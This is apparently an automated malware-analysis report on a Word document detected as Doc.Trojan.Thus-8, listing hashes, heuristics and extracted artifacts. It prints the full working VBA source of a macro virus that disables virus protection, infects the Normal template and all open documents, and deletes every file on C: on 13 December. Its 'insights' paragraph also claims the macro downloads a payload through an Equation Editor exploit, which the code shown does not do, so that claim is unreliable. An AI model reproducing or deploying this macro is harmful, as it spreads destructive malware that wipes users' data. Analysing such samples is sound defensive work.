Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0dc49f90211594aa…

MALICIOUS

Office (OLE)

85.5 KB Created: 2009-05-11 05:37:00 Authoring application: Microsoft Word 11.5.0 First seen: 2017-02-27
MD5: 36e79433fb680b60cbcef0878ba6891d SHA-1: 4803c51b8bb18fa551b680959137a093b3fafccb SHA-256: 0dc49f90211594aab61b861141c7c2b20e0bd1d552aa63e055e259f97a51ab38
188 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic

The sample contains a VBA macro that is triggered by the Document_Open event. This macro appears to be designed to exploit a vulnerability, likely related to the embedded Equation Editor object, to download and execute a secondary payload. The ClamAV detection 'Doc.Trojan.Thus-8' further supports the malicious nature of the file.

Heuristics 4

  • Equation Editor OLE object high CVE related OLE_EQUATION_EDITOR
    Contains Equation Editor object — related to CVE-2017-11882 / CVE-2018-0802 exploitation, but CLSID presence alone is not the malformed MTEF exploit primitive.
  • ClamAV: Doc.Trojan.Thus-8 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-8
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Open() 'Thus_001'     On Error Resume Next     Application.Options.VirusProtection = False     If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then     NormalTemplate.VBProject.VBComponents.Item(1).C …

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2403 bytes
SHA-256: ca4b87bd8c2215ef732bea004db9ae4556baaf83aaeaf6301676a95777a7ee94
Detection
ClamAV: Doc.Trojan.Thus-8
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
    On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
    .CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
    .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
    .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    For k = 1 To Application.Documents.Count
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
    .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    End If
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
    .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
    .VBComponents.Item(1).CodeModule.CountOfLines)
    End If
    Next k
    If (Day(Now()) = 13) And (Month(Now()) = 12) Then
    With Application.FileSearch
        .NewSearch
        .LookIn = "C:\"
        .SearchSubFolders = True
        .FileName = "*.*"
        .MatchTextExactly = False
        .FileType = msoFileTypeAllFiles
        If .Execute > 0 Then
        For i = 1 To .FoundFiles.Count
        Kill .FoundFiles(i)
        Next i
        End If
    End With
    End If
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub

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